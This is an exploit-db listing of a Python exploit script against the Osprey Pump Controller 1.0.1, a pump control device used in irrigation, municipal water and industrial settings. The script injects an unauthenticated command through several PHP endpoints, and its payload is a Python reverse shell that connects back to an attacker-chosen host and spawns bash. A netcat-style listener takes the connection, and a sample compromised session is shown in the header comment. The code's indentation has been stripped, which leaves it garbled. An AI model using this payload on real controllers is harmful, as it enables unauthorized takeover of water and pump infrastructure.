Osprey Pump Controller 1.0.1 – Unauthenticated Remote Code Execution Exploit

  • 作者: LiquidWorm
    日期: 2023-04-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51305/
  • #!/usr/bin/env python
    #
    #
    # Exploit Title: Osprey Pump Controller 1.0.1 - Unauthenticated Remote Code Execution Exploit
    # Exploit Author: LiquidWorm
    #
    #
    # Vendor: ProPump and Controls, Inc.
    # Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
    # Affected version: Software Build ID 20211018, Production 10/18/2021
    # Mirage App: MirageAppManager, Release [1.0.1]
    # Mirage Model 1, RetroBoard II
    #
    #
    # Summary: Providing pumping systems and automated controls for
    # golf courses and turf irrigation, municipal water and sewer,
    # biogas, agricultural, and industrial markets. Osprey: door-mounted,
    # irrigation and landscape pump controller.
    #
    # Technology hasn't changed dramatically on pump and electric motors
    # in the last 30 years. Pump station controls are a different story.
    # More than ever before, customers expect the smooth and efficient
    # operation of VFD control. Communications—monitoring, remote control,
    # and interfacing with irrigation computer programs—have become common
    # requirements. Fast and reliable accessibility through cell phones
    # has been a game changer.
    #
    # ProPump & Controls can handle any of your retrofit needs, from upgrading
    # an older relay logic system to a powerful modern PLC controller, to
    # converting your fixed speed or first generation VFD control system to
    # the latest control platform with communications capabilities.
    #
    # We use a variety of solutions, from MCI-Flowtronex and Watertronics
    # package panels to sophisticated SCADA systems capable of controlling
    # and monitoring networks of hundreds of pump stations, valves, tanks,
    # deep wells, or remote flow meters.
    #
    # User friendly system navigation allows quick and easy access to all
    # critical pump station information with no password protection unless
    # requested by the customer. Easy to understand control terminology allows
    # any qualified pump technician the ability to make basic changes without
    # support. Similar control and navigation platform compared to one of the
    # most recognized golf pump station control systems for the last twenty
    # years make it familiar to established golf service groups nationwide.
    # Reliable push button navigation and LCD information screen allows the
    # use of all existing control panel door switches to eliminate the common
    # problems associated with touchscreens.
    #
    # Global system configuration possibilities allow it to be adapted to
    # virtually any PLC or relay logic controlled pump stations being used in
    # the industrial, municipal, agricultural and golf markets that operate
    # variable or fixed speed. On board Wi-Fi and available cellular modem
    # option allows complete remote access.
    #
    # Desc: The controller suffers from an unauthenticated command injection
    # vulnerability that allows system access with www-data permissions.
    #
    # ----------------------------------------------------------------------
    # Triggering command injection...
    # Trying vector: /DataLogView.php
    # Operator...?
    # You got a call from 192.168.3.180:54508
    # www-data@OspreyController:/var/www/html$ id;pwd
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    # /var/www/html
    # www-data@OspreyController:/var/www/html$ exit
    # Zya!
    # ----------------------------------------------------------------------
    #
    # Tested on: Apache/2.4.25 (Raspbian)
    #Raspbian GNU/Linux 9 (stretch)
    #GNU/Linux 4.14.79-v7+ (armv7l)
    #Python 2.7.13 [GCC 6.3.0 20170516]
    #GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
    #PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # Macedonian Information Security Research and Development Laboratory
    # Zero Science Lab - https://www.zeroscience.mk - @zeroscience
    #
    #
    # Advisory ID: ZSL-2023-5754
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php
    #
    #
    # 05.01.2023
    #
    
    
    # oo
    #OO
    # oo
    #oo
    #_____________________\/
    #||
    #||
    #||
    fromtimeimport sleep
    import pygame.midi #---#
    import subprocess#---#
    import threading#-----#
    import telnetlib#-----#
    import requests#-------#
    import socket#-----------#
    import pygame#-----------#
    import random#-----------#
    import sys #---------------#
    import re #-----------------#
    ###### ##-----------------#
    
    
    class Pump__it__up:
    
    def __init__(self):
    self.sound=False
    self.param="eventFileSelected"
    self.vector=["/DataLogView.php?"+self.param,
     "/AlarmsView.php?"+self.param,
     "/EventsView.php?"+self.param,
     "/index.php"] # POST
    self.payload=None
    self.sagent="Tic"
    self.rhost=None
    self.lhost=None
    self.lport=None
    
    def propo(self):
    if len(sys.argv)!=4:
    self.kako()
    else:
    self.presh()
    self.rhost=sys.argv[1]
    self.lhost=sys.argv[2]
    self.lport=int(sys.argv[3])
    if not "http" in self.rhost:
    self.rhost="http://{}".format(self.rhost)
    
    def kako(self):
    self.pumpaj()
    print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0]))
    exit(0)
    
    def pumpaj(self):
    titl="""
     .-.
     |\\
     | / \\
     ,___| |\\
    / ___( ) L
     '-` | | |
     | | F
     | |/
     | |
     | |
     ____|_|____
    [___________]
    ,,,,,/,,,,,,,,,,,,,\\,,,,,
    o-------------------------------------o
     Osprey Pump Controller RCE Rev Shel_
    v1.0j
    Ref: ZSL-2023-5754
    by lqwrm, 2023
    o-------------------------------------o
    """
    print(titl)
    
    def injekcija(self):
    self.headers={"Accept":"*/*",
    "Connection":"close",
    "User-Agent":self.sagent,
    "Cache-Control":"max-age=0", 
    "Accept-Encoding":"gzip,deflate",
    "Accept-Language":"en-US,en;q=0.9"}
    
    self.payload =";"######################################################"
    self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;"
    self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con"
    self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2"
    self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),"
    self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######"
    
    print("Triggering command injection...")
    
    for url in self.vector:
    if url=="/index.php":
    print("Trying vector:",url)
    import urllib.parse
    self.headers["Content-Type"]="application/x-www-form-urlencoded"
    self.postdata={"userName":urllib.parse.unquote(self.payload),
     "pseudonym":"251"}
    r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata)
    if r.status_code == 200:
    break
    else:
    print("Trying vector:",url[:-18])
    r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers)
    print("Code:",r.status_code)
    if r.status_code == 200:
    print('Access Granted!')
    break
    
    def netcat(self):
    import nclib
    server = nclib.TCPServer(("0.0.0.0",int(self.lport)))
    print("Operator...?")
    server.sock.settimeout(7)
    for client in server:
    print("You got a call from %s:%d" % client.peer)
    command=""
    while command!="exit":
    if len(command)>0:
    if command in client.readln().decode("utf-8").strip(" "):
    pass
    data = client.read_until('$')
    print(data.decode("utf-8"), end="")
    command = input(" ")
    client.writeln(command)
    print("Zya!")
    exit(1)
    
    def rasplet(self):
    if self.sound:
    konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain)
    konac1.start()
    konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat)
    konac2.start()
    self.injekcija()
    
    def presh(self):
    titl2="""
    _______________________________________
     / \\
    |{###################################}|
    |{## Osprey Pump Controller##}|
    |{##RCE 0day ##}|
    |{## ##}|
    |{## ZSL-2023-5754 ##}|
    |{###################################}|
    | |
    | 8090100 |
    |70 ^120|
    |60 */|\ * 140|
    |55 |160|
    | | |
    | | |
    | (O)(+)(O) |
     \_______________________________________/
    """
    print(titl2)
    
    def entertain(self):
    
    pygame.midi.init()
    midi_output=pygame.midi.Output(0)
    
    notes=[
    (74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251),
    (83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251),
    (72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251),
    (62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251),
    (47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251),
    (67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251),
    (62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251),
    (64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251),
    (72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251),
    (76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251),
    (78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251),
    (76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251),
    (79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251),
    (77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251),
    (52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251),
    (62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251),
    (64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251),
    (72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251),
    (51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251),
    (50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251),
    (54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251),
    (86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)]
    
    channel=0
    velocity=124
    
    for note, duration in notes:
    midi_output.note_on(note, velocity, channel)
    duration=59
    pygame.time.wait(random.randint(100,301))
    pygame.time.wait(duration)
    midi_output.note_off(note, velocity, channel)
    
    del midi_output
    pygame.midi.quit()
    
    def main(self):
    self.propo()
    self.rasplet()
    exit(1)
    
    if __name__=='__main__':
    Pump__it__up().main()